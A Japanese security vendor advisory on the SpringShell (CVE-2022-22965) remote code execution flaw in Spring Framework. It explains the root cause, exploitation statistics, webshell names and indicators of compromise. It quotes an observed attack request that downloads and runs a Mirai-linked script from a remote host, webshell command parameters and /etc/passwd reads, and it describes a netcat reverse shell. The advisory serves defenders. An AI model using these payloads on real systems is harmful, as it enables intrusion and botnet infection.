[2022-04-19 JST Windows/Linuxによる保護セクションを更新] CVE-2022-22965: Spring Coreにリモートコード実行脆弱性(SpringShell)、すでに実際のエクスプロイトも

A conceptual image representing a vulnerability, such as CVE-2022-22965, aka SpringShell, discussed here.

This post is also available in: English (英語)

概要

最近、エンタープライズJavaアプリケーションを構築するためのオープンソースフレームワークであるSpring Frameworkに2つの脆弱性があることが開示されました。2022年3月29日、CVE-2022-22963として追跡されているSpring Cloud Expression Resource Access Vulnerabilityは、Spring Cloud Function 3.1.7 および 3.2.3 のリリースでパッチが適用されています。その2日後の2022年3月31日、Springは、CVE-2022-22965として追跡されている別のより深刻な脆弱性を修正するために、Spring Frameworkのバージョン5.3.18と5.2.20をリリースしました。CVE-2022-22965 は、攻撃者が未認証でリモートでコードを実行できる脆弱性(RCE)で、Unit 42 は、この脆弱性がすでに実際に悪用されている様子を確認しています。この脆弱性を悪用されると、侵害されたサーバーにWebシェルがインストールされ、さらにコマンドを実行される可能性があります。

Spring FrameworkはWebシステムの開発に広く利用されており、脆弱性の深刻度がCVSSスコア9.8と極めて高いことから、CVE-2022-22965は情報セキュリティコミュニティで「SpringShell (Spring4Shell)」の名で呼ばれるようになりました。本脆弱性の影響を把握するため、私たちは入手可能な情報をすべて分析してソースコード内の問題となる部分を特定しました。

4月8日に本稿を更新し、パロアルトネットワークスNGFWの脅威防御シグネチャ「Spring Core Remote Code Execution Vulnerability」のヒット数分析から判明したSpringShellのエクスプロイト試行の統計と、Cortex XDR がトリガーしたアラートを掲載しました。また、IoCに関するセクションも追加しました。

パロアルトネットワークスのお客様は、Cortex XDR Prevent/Pro、次世代ファイアウォールの脅威防御サブスクリプション、Prisma Cloud Computeなどの製品とサービスを通じ、CVE-2022-22965およびCVE-2022-22963から保護されています。

脆弱性の名称 SpringShell, Spring4Shell
本稿で扱うCVE CVE-2022-22965, CVE-2022-22963, CVE-2010-1622
脆弱性の種類 Remote code execution

目次

影響を受けるソフトウェアとバージョン
Spring Frameworkの背景
CVE-2022-22965の根本原因分析
クラスローダー悪用の背景
侵害されたサーバー上でのリモートサーバーへのリバースシェル接続確立
SpringShellのエクスプロイト
実際に観測された事例
結論
追加リソース
IoC

影響を受けるソフトウェアとバージョン

既存のエクスプロイトの概念実証(PoC)は、以下の条件で動作します。

  • JDK 9以上
  • ServletコンテナとしてのApache Tomcat
  • (Spring Bootの実行可能jarとは異なる)従来のWARとしてのパッケージ化
  • spring-webmvc または spring-webflux との依存関係
  • Spring Framework バージョン 5.3.0 から 5.3.17, 5.2.0 から 5.2.19, およびそれ以前のバージョン

Spring Beans パッケージ(spring-beans-*.jar) と Spring パラメータバインディングを使用している Java アプリケーションはこの脆弱性による影響を受ける可能性があります。

Spring Frameworkの背景

Spring Frameworkはオープンソースのアプリケーションフレームワークで、Javaプラットフォーム用のIoC(Inversion of control、制御の反転)コンテナです。その強力な機能と使いやすさから、さまざまなプログラムやシステムで広く利用されています。Spring BootやSpring Cloudなど一部の著名製品もSpring Frameworkで開発されています。

Spring Core (spring-core)はフレームワークの中核となるもので、IoCやDI (Dependency Injection: 依存性注入)などの強力な機能を提供しています。これにはcore、beans、context、Spring Expression Language (SpEL) モジュールが含まれています。

CVE-2022-22965の根本原因分析

この脆弱性は、Spring FrameworkのgetCachedIntrospectionResultsメソッドがパラメータをバインドするさい、誤ってクラスオブジェクトを公開してしまうことに起因しています。

Springのデフォルトのデータバインディング機構では、開発者がHTTPリクエストの詳細をアプリケーション固有のオブジェクトにバインドできます。シンプルで古典的なアプリケーションのシナリオ例で、開発者がリクエストパラメータを取得するためにTradeオブジェクトを作成する場合を考えてみます(図1参照)。

シンプルで古典的なアプリケーションのシナリオ例で、開発者がリクエストパラメータを取得するためにTradeオブジェクトを作成する場合を考えてみます(この図)。
図1. Tradeオブジェクトの例

この後、開発者はコントローラを作成してtradeオブジェクトを使用します(図2参照)。

開発者はコントローラを作成してtradeオブジェクトを使用します(この図)。
図2 tradeオブジェクトを使用するコントローラの例

その後、開発者は通常、tradeコントローラ用のリクエストのビルダーを作成し、Webユーザーがリモートからtradeオブジェクトにアクセスできるようにします(図3参照)。

その後、開発者は通常、tradeコントローラ用のリクエストのビルダーを作成し、Webユーザーがリモートからtradeオブジェクトにアクセスできるようにします(この図)。
図3 通常のオブジェクトにアクセスする

Webユーザーがtradeオブジェクトのプロパティにアクセスすると、Spring Framework実装のバインディング処理(bindRequestParameters)getCachedIntrospectionResultsメソッドを呼び出し、キャッシュ内のオブジェクトプロパティの取得(get)と設定(set)を行います。ただしgetCachedIntrospectionResultsメソッドの戻り値のオブジェクトには、クラスオブジェクトが含まれています。つまり、WebユーザーはURLを送信するだけでリモートからクラスオブジェクトを取得できます(図4参照)。

ただしgetCachedIntrospectionResultsメソッドの戻り値のオブジェクトには、クラスオブジェクトが含まれています。つまり、WebユーザーはURLを送信するだけでリモートからクラスオブジェクトを取得できます(この図)。
図4 クラスオブジェクトにアクセスする

クラスオブジェクトをWebユーザーに公開することは非常に危険で、さまざまな方法でRCEにつながる可能性があります。クラスローダーは、ペイロードを悪用し、機微なクラスを動的にロードし、オブジェクトの改ざんやコードの実行を行うためによく利用されます。

クラスローダー悪用の背景

リモードコード実行(RCE)の簡単な方法として、公開されたクラスローダーを使ってTomcatのログ設定を変更後、JSPのWebシェルをリモートからアップロードする方法があります。URLを送信するだけでTomcatのログ設定を変更する例を図5に示します。これはSpringShell脆弱性の公開PoCで使用されているエクスプロイト方法です。

URLを送信するだけでTomcatのログ設定を変更する例をこの図に示します。
図5 Tomcatのログ設定を変更

2010年初頭、Spring Frameworkにおけるあるリモートコード実行の脆弱性にCVE-2010-1622が割り当てられました。この脆弱性は、CachedIntrospectionResults()で提供されているPropertyDescriptorが適切にチェックされていなかったために、システムのクラスローダーの検索パス変更にclass.classLoaderが利用され、プログラムがリモートのJavaコード呼び出しを許してしまう、というものでした。この脆弱性では、クラスローダーがエクスプロイト上重要な役割を担っています。

この脆弱性はSpring Frameworkバージョン2.5.6.SEC02で修正されています。クラスローダーを取得してエクスプロイトに使う元のやり方はすでに使えなくなっていますが、JDKバージョン9で導入された新しい機能により、クラスローダーを別の方法で取得可能となったため、ふたたびエクスプロイトが可能になりました。

図6に示すコードスニペットは、CVE-2010-1622に対する修正内容です。ここでの修正は、ブロックリストを使って2つのメソッドClass.getClassLoader()getProtectionDomain()を除外することで行っています(図6でハイライト表示した部分)。しかしブロックリストを使うとリストにないケースが回避されるリスクがあります。そしてJava 9 Platform Module System(JPMS) は、このブロックリストを回避する方法を提供しています。

図6に示すコードスニペットは、CVE-2010-1622に対する修正内容です。ここでの修正は、ブロックリストを使って2つのメソッドClass.getClassLoader()、getProtectionDomain()を除外することで行っています(この図の青でハイライト表示した部分)。
図6 CVE-2010-1622の修正内容

侵害されたサーバー上でのリモートサーバーへのリバースシェル接続確立

新たに追加されたモジュールプロパティによりlogging設定が変更できるようになり、logging機能経由でJSP Webシェルをwebホストのフォルダに書き込めるようになります(図7参照)。

新たに追加されたモジュールプロパティによりlogging設定が変更できるようになり、logging機能経由でJSP Webシェルをwebホストのフォルダに書き込めるようになります(この図)。
図7 JDKバージョン9以降のgetModule

図8は、ペイロードがTomcatのROOTディレクトリにshell7.jspという名前のパスワード保護されたWebシェルをドロップしている様子を示しています。

図8は、ペイロードがTomcatのROOTディレクトリにshell7.jspという名前のパスワード保護されたWebシェルをドロップしている様子を示しています。
図8 webディレクトリにJSPのWebシェルを書き込む

その後攻撃者はJSP Webシェルを通じて任意のコマンドを呼び出せます。図9は、侵害されたサーバ上でnetcatを実行し、リモートサーバへのリバースシェルを確立した例です。

図9は、侵害されたサーバ上でnetcatを実行し、リモートサーバへのリバースシェルを確立した例です。
図9 netcatでリバースシェル接続を確立

SpringShellのエクスプロイト

このリモートコード実行の脆弱性に対するエクスプロイトコードはすでに一般に公開されています。Unit 42は2022年3月30日未明にスキャントラフィックを初観測していますが、これはURL内にテスト文字列を含むサーバーへのHTTPリクエストでした。図10に初期のスキャンアクティビティの一例を示します。

図10に初期のスキャンアクティビティの一例を示します
図10 PAN-DBクラウドログからのスキャントラフィック

脅威防御シグネチャのテスト中、私たちはさらなるスキャンアクティビティを観測しましたが、これはHTTP POSTリクエストのデータセクションにエクスプロイトコードを含んでいました(図11参照)。

脅威防御シグネチャがトリガーしたCVE-2022-22965関連のスキャントラフィック
図11 脅威防御シグネチャがトリガーしたCVE-2022-22965関連のスキャントラフィック

脅威防御シグネチャを導入後、Spring Core Remote Code Execution Vulnerabilityシグネチャに関連するパケットキャプチャを分析したところ、これらのアクティビティの大半は、一般公開されているPoCツールから派生したツールで生成されている可能性が高いことがわかりました。私たちの分析からは、エクスプロイトに成功した場合、サーバー上には以下のファイル名でWebシェルのコンテンツが保存されているであろうことがわかっています。

0xd0m7.jsp
myshell.jsp
shell.jsp
tomcatwar.jsp
wpz.jsp

これらのファイルに書き込まれたWebシェルのコンテンツもやはり公開済みのPoCに含まれているコードと非常によく似ています。Webシェルには2つのバリエーションがあります。1つめはPoCに含まれ、認証にpwdパラメータ(パスワードは常にj)、実行するコマンドにcmdパラメータを使用します。2つめは、認証用のパラメータを使用せず、実行するコマンドにidを使用します。表1は、サーバーに保存されたWebシェルが認証とコマンドに使用するパラメータと、それらが何回確認されたかを示しています。

URL パラメータ 認証 コマンド 件数
&id=<command> id 337
&pwd=j&cmd=<command> pwd cmd 219

表1 Spring Core Remote Code Execution Vulnerability用シグネチャでヒットしたWebシェルで使用されるパラメータ

私たちは、SpringShellアクティビティに関連するファイル名を使ってWebシェルへのアクティビティのテレメトリを検索しました(ただしshell.jspは名前が一般的すぎるので対象外としていることに注意)。私たちは以下のような特異なコマンドがWebシェルに与えられている様子を確認しています。このうち、おそらく/etc/passwdにかかわる2つのコマンドだけが悪意をもってのエクスプロイトと示唆されます。残りのコマンドは一般的なスキャンアクティビティと考えられます。

ls
nslookup%20[redacted].test6.ggdd[.]co[.]uk
nslookup+[redacted].test6.ggdd[.]co[.]uk
ping%20[redacted].test6.ggdd[.]co[.]uk
ping+[redacted].test6.ggdd[.]co[.]uk
whoami
cat%20/etc/passwd
cat+/etc/passwd
id
ifconfig
ipconfig
ping%20[redacted].burpcollaborator[.]net

実際に観測された事例

3月31日未明、「Spring Core Remote Code Execution Vulnerability (Spring Coreのリモートコード実行脆弱性)」用シグネチャが公開されました。4月7日にシグネチャの公開から7日分の活動を収集したところ、このシグネチャが43,092回トリガーされていたことがわかりました。図12は、3月31日から4月3日まで総ヒット数が着実に増加し、4月4日にかなり大きく減少し、その後4月5日と6日にまたアクティビティの上昇に傾いた様子を示しています。この時点では、意図的に脆弱なアプリケーションを使用したテストアクティビティ以外で、サーバーにWebシェルをインストールするような悪用が成功したことはまだ確認されていません。

Spring Core Remote Code Execution Vulnerabilityシグネチャの1日あたりのヒット数を示すグラフ
図12. Spring Core Remote Code Execution Vulnerabilityシグネチャの1日あたりのヒット数を示すグラフ

分析中は多数の一意なIPアドレスを観測しましたが、2,056個のアドレスがSpring Core Remote Code Execution Vulnerabilityシグネチャをトリガーしていることがわかりました。表2はシグネチャをトリガーした接続元として観測された上位15個のIPアドレスを示したもので、これらが私たちが観測した全アクティビティの50%強を占めていました。

件数 IP
4064 172.16.0.0/12
2664 10.0.0.0/8
1680 178.79.148[.]229
1504 82.165.137[.]177
1351 172.104.159[.]48
1336 109.74.204[.]123
1188 5.253.204[.]37
1092 185.245.85[.]232
1090 185.196.3[.]23
1080 172.104.140[.]107
1080 207.246.101[.]107
1004 45.33.101[.]246
963 45.33.65[.]249
911 195.246.120[.]148
865 176.125.229[.]145

表2 Spring Core Remote Code Execution Vulnerabilityシグネチャをトリガーした接続元IP上位15

Spring Core Remote Code Execution Vulnerabilityのシグネチャをトリガーした31,953個のパケットキャプチャを解析し、エクスプロイトに成功した場合にサーバーに保存されるWebシェルのファイル名とWebシェルのコンテンツとを特定しました。多くの場合、Webシェルのファイル名には .jspという拡張子が与えられていました。これによりインストールしたWebシェルが有効に機能するようになります。ただし多くのケースではファイル名にはWebシェルには対応しない拡張子、たとえば .js.txtといった拡張子が与えられていました。これらはおそらく脆弱なサーバーの発見のためにファイルアップロード成功可否を示す目的で使用されたものと推測されます。本稿執筆時点では、95種類の一意なWebシェルファイル名が観測されています。これらはIoCセクションに記載します。

アクティビティの大部分はtomcarwar.jspというファイル名でした。この名前は最初の概念実証(PoC)スクリプトで使用されたもので、観測されたファイル名の57%以上を占めます。実際、上位3つのファイル名(tomcarwar.jspcheckexploit.jspjavatestfila.jsp)は、既知のWebシェルファイル名を使うアクティビティの84%以上を占めていました。図13の円グラフは、もっとも一般的なファイル名のハイレベルな内訳を示したものです。

SpringShellに関連して観測されたもっとも一般的なwebシェルファイル名を示す円グラフ
図13. 観測されたもっとも一般的なwebシェルファイル名を示す円グラフ

解析したパケットの大半で、Webシェルの内容はオリジナルの概念実証用スクリプトのWebシェルと大差ないことがわかりました(図14参照)。テレメトリで多数観測されたもう1つのWebシェルは、Webシェルが使用するHTTPパラメータと値が異なるだけで全く同じものでした(図15参照)。

エクスプロイト試行で見られたWebシェルパターン。CVE-2022-22965用のオリジナルのPoCスクリプトからのもの
図14 エクスプロイト試行で見られたWebシェルパターン。オリジナルのPoCスクリプトからのもの
エクスプロイト試行で見られたWebシェルパターン。オリジナルのPoCスクリプトに若干修正を加えてある
図15 エクスプロイト試行で見られたWebシェルパターン。オリジナルのPoCスクリプトに若干修正を加えてある

また、最初のPoC用Webシェルを改変したコンテンツを使用するエクスプロイトも多数確認されました。図16は、実際に観測したコンテツを示したものですが、これらはWebシェルとはみなせません。SPRING_CORE_RCEと表示する以上のことは何もしないためです。Webシェル機能がないことから、これはSpringShellに脆弱なサーバーを発見しようとするスキャナがアップロードしたものである可能性が高いと考えられます。

脆弱なサーバーの発見目的で使われたエクスプロイト試行で観測されたパターン
図16. 脆弱なサーバーの発見目的で使われたエクスプロイト試行で観測されたパターン

また最近では図17のようなWebシェルコンテンツが増加しています。これはK3rwinによるべつの概念実証スクリプトです。この特定のWebシェルは、アクターのほしがる機能を含むbase64エンコードされたクラスをロードします。この特定Webシェルは、AntSwordのshell.jspをベースにしたもので、antのかわりにk3rwinというパラメータを使用してクラスをロードするよう改変されています。

エクスプロイト試行で見られたWebシェルパターン。K3rwinによるPoCスクリプトからのもの
図17. エクスプロイト試行で見られたWebシェルパターン。K3rwinによるPoCスクリプトからのもの

SpringShellに関連するテレメトリで私たちが確認した唯一の悪意のあるアクティビティは、tomcatwar.jspというファイル名を含むURLへのHTTPリクエストで、これにはSpringShellの概念実証スクリプトとの関連がありました。このアクティビティは、複数のパラメータをWebシェルに与えて当該Webシェルにコマンドを実行させ、それによりリモートサーバーからスクリプトをダウンロード・実行させる、というものでした(以下参照)。

[IPV4 アドレス省略]:8080/tomcatwar.jsp?pwd=j&cmd=/bin/sh/-c${IFS}'cd${IFS}/tmp;wget${IFS}hxxp://107.174.133[.]167/t.sh${IFS}-O-%a6sh${IFS}SpringCore;'

さらに分析したところ、このリモートサーバーにホストされているt.shというスクリプトは、Mirai ボットネットに関連するものでした。上記のリクエストはIPアドレス194.31.98[.]186から送信されていましたが、このIPアドレス上にもMirai関連のペイロードがホストされていました。SpringShellの脆弱性を悪用しようとする194.31.98[.]186からのインバウンド試行は、図14に示したオリジナル概念実証スクリプトのWebシェルインストールを試みていました。弊社のシグネチャは脆弱性の最初のエクスプロイト試行をブロックしたため、MiraiによるSpringShellのエクスプロイト試行が成功していたのかどうかは確認できませんでした。Netlab 360Trend Microの両社はSpringShellの脆弱性に関連したMiraiのアクティビティを観測しています。

脅威防御シグネチャのほかにCortex XDRでトリガーされたアラートも分析しましたが、4月4日から4月8日にかけて116件のイベントが確認されました。これらのアラートの大半は前述の概念実証ツールテストがトリガーしたものです。spring4shellという名のDockerコンテナがからむアラートも複数観測されましたが、これらは /helloworldディレクトリをもち、リッスンポートが tcp/8080 になっていました。これらのDockerコンテナは、Spring4Shell-POCといった一般公開済みDockerコンテナを使った内部的なテスト試行の一環と思われます。シグネチャはWebシェルファイルの作成時にトリガーされており、そのさい以下のファイルが書き込まれていることが確認されています。

/usr/local/tomcat/work/Catalina/localhost/ROOT/org/apache/jsp/shell_jsp.java
/usr/local/tomcat/webapps/ROOT/shell_.jsp

結論

SpringShellには公式にCVE-2022-22965が割り当てられ、2022年3月31日にパッチがリリースされました。エクスプロイトは容易で、関連技術の詳細もすべてインターネット上に出回っているので、SpringShellが完全に兵器化され、さらに大規模に悪用される可能性があります。JDKのバージョン9以降とSpring Framework (またはその派生製品)をベースにしたプロジェクトや製品を持つ開発者やユーザーは早急にパッチを適用することを強くお勧めします。

CVE-2022-22963はSpring Cloud Functionにおける別の脆弱性(厳密にはSpringShellの一部ではない)ですが、境界での対策を確実に行えるよう脅威防御シグネチャが用意されています。Unit 42のリサーチャーは、最近公表された他のSpringの脆弱性に関する情報についても積極的に監視しており、新しい情報が入り次第、その詳細を提供していきます。

Unit 42は弊社のデバイスやクラウドソリューションを経由する悪意のあるトラフィックを積極的に監視しています。

パロアルトネットワークスの製品セキュリティ保証チームは、自社製品に関連するCVE-2022-22963、CVE-2022-22965の評価を行っており、現在はこの深刻度を「none」としています。

脅威防御サブスクリプションが有効なNGFW製品は本脆弱性に関連する攻撃トラフィックをブロックできます。

  • CVE-2022-22965のカバレッジ: 脅威 ID 92393 および 92394 (アプリケーションおよび脅威コンテンツアップデート 8551)
  • CVE-2022-22963のカバレッジ: 脅威 ID 92389 (アプリケーションと脅威コンテンツアップデート 8551)
  • SpringShell脆弱性エクスプロイトの一部であるwebシェルにより生成されたC2トラフィック: 脅威 ID 83239 (アプリケーションと脅威コンテンツアップデート 8551)

パロアルトネットワークスのPrisma Cloudは、すべてのCompute環境においてCVE-2022-22965、CVE-2022-22963の両方の有無を検出できます。

Linuxデバイス上でパロアルトネットワークスCortex XDR Prevent/Proを、エージェントのバージョン7.4以上、コンテンツバージョン450-87751以上を稼働しているお客様はJava DeserializationモジュールによりCVE-2022-22963から保護されています。また、WindowsおよびLinux上でバージョン7.7以上、コンテンツバージョン480以上を稼働しているお客様は、Java Deserializationモジュールにより、CVE-2022-22963およびCVE-2022-22965から保護されています。それ以外のオペレーティングシステムとエクスプロイトは、Behavioral Threat Protection、Password Theft Prevention、Anti Ransomwareなどのエクスプロイト対策モジュールによりエクスプロイト後のアクティビティから保護されています。Cortex XDR Proのお客様は、エクスプロイト後のアクティビティを可視化し、特定的に「Process execution with a suspicious command line indicative of the Spring4Shell exploit」、「Suspicious HTTP Request to a vulnerable Java class」の両Analytics BIOC(振る舞い指標)をトラッキングすることもできます。さらに、ドロップされたWebシェルのIoC(侵害指標)を探索するXQLクエリからBIOCを作成し、自社環境でのエクスプロイト試行を検出できます。

パロアルトネットワークスのCortex XSOARのお客様は「Spring Core and Cloud Function SpEL RCEs」パックを使うことで自動的に本脆弱性を検出・緩和できます。詳しくはXSOARマーケットプレイスを確認してください。

追加リソース

SpringShellおよび最近のSpringの脆弱性CVE-2022-22963、CVE-2022-22965に対するPrisma Cloudによる緩和策
How Cortex XDR Blocks SpringShell Exploits (Cortex XDRはどのようにSpringShellのエクスプロイトをブロックしているか)

IoC

Webシェル/logファイル名

0808a56a90ca2f8b1e91a1e60b7b451e.txt
0c901fefcae46ba984225aa72df0825c.txt
1532b681733b6bce2ff7252d8890d550.txt
28fcea06661f13ebe9c87327f949f3a8.txt
2b98432e352ff74569b81099dd5ee246.txt
4acbedbe977480d19b7b682d4878cae2.txt
4fdd6fbd220e26b63a7c9a5aa88f5f31.txt
5657e4634210a3d47a789d1389a89320.txt
646bbc2c112070c26b3c042e81c6947e.txt
70b98d30e383df910ce3d693603404fb.txt
73be7d1ef52c3dbc9a5d726288d8a4ba.txt
83d81ef47f0e9a205fb66a100f3179bf.txt
8592f3e430720d324d7cfd7ecd1de521.txt
8697f146477832389449cf2548032ca7.txt
Shell.jsp
UJaez.jsp
Y4kws.jsp
a6bfc76094f689dab978f059ea2456a1.txt
aniwvzgvwqnwtehgsfsgbslwoiqkjk.jsp
appli12
baf24e5f9fc18cf58172d1ba745f0f7a.txt
c41fc8f359d1658559c2d1c0043c76fb.txt
cbsewlaeqsdsqktavziakyzsuwfciu.jsp
czbwzitpzjzkcvkrirybzihsibmuej.jsp
czpdnhpraxgzrtatiuigsalfedwwit.jsp
dnuurzjtlbjrnuukwdmaltqrqqlaig.jsp
duvdqpoyrcapqbfcetgwsqxfkslubw.jsp
ee947d98b91c8ada08f8c15e8f3248fc.txt
efdde87c66fe4e6dc73a2ab6111ca58a.txt
facb4be5385617bf11e6d67f0aa0203b.txt
ggoibjvztvlpelaghjzeweqmopjosz.jsp
goocmasqxwfufyxrgyachwidxdotkh.jsp
hlbpgpqsyracfnvkgrgvlhcptpmdfn.jsp
hmmyitbecwhmrdicykmfvqlcsknbff.jsp
hnmqeuzumlokxuhqyekeetrgougeof.jsp
ilvckpgzbrcdljyqdfhqendqcwhgxp.jsp
izodfyvqujwztweclykgozahdlqvqp.jsp
jynrrkjghebemkrhvfzllrepzosinb.jsp
kqbnngrfnsxlreajyknuimoamysvwt.jsp
ltcovlwqkckjpuzbqzbjdpkgkakvno.jsp
mhoqqvpuxdqtuqzmwdrvdeayqvlygb.jsp
osanxuadyvjaiorcjfqnckfpewunnt.jsp
ptipfhjosfvrfwndwqccapozcbasge.jsp
pxwcqxzrstepmbwufjxuaydkwgmvds.jsp
qnzfvqpeiljtoyvrywrkuvkrmuewzn.jsp
rQFlA.jsp
rmdwahilztwhhqnmcbodkgtbnmrhjx.jsp
tomcat74935.jsp
ubekdurthzexowlohzgienbwvexynd.jsp
ufoubgkazumxhqvwlnyfejnmyqofcm.jsp
ujpmauuhltvsokjracgwkbflkhhnwo.jsp
vkmckfvljtpbyowxwhgbjsvyktfdiq.jsp
xcoihpiouaamtnbqqvcvffyxyrokvn.jsp
yjjhhdlxepozhirznemjabnsciycvv.jsp
yutugdqbrossntwaujgxwgrpgczkbd.jsp
zawpiupzzsjexllfbicrgvlcuxzqyb.jsp
zqgwtzyrexctiyvsawmwttncwzoyyd.jsp
zuvuegtemzfsyqjfykowggxpqkuqdp.jsp
0xd0m7.jsp
crashed_log_
gdGCT.jsp
myshell.jsp
rakesh.jsp
shei1.jsp
shell13.jsp
tomcatlogin.jsp
data_theorem_spring4shell_scan.txt
jarom_h1.jsp
jquery123123123cssbackup7331.jsp
tomjj.jsp
test1.jsp
hackerone0x.jsp
inject.jsp
poc4bugb.jsp
curiositysec.jsp
mynameis0bsecure.jsp
tomcatwa.jsp
ahmed.txt
testqqsg.jsp
wpz.jsp
lelel.jsp
shell.jsp
07935fdf05b66.jsp
vulntest-12345.txt
jquerycssv2.js
poc.jsp
tomcatspring.jsp
ofc.jsp
lalalalal.jsp
safetytest.txt
log.txt
safetytest
javatestfila.jsp
checkexploit.jsp
tomcatwar.jsp

2022-04-04 09:00 JST 英語版更新日 2022-04-01 07:30 PDT の内容を反映
2022-04-05 09:00 JST 英語版更新日 2022-04-04 08:00 PDT の内容を反映
2022-04-06 09:00 JST 英語版更新日 2022-04-05 15:30 PDT の内容を反映
2022-04-11 13:00 JST 英語版更新日 2022-04-08 17:00 PDT の内容を反映
2022-04-14 09:00 JST 英語版更新日 2022-04-13 08:00 PDT の内容を反映
2022-04-23 15:15 JST 英語版更新日 2022-04-19 07:30 PDT の内容を反映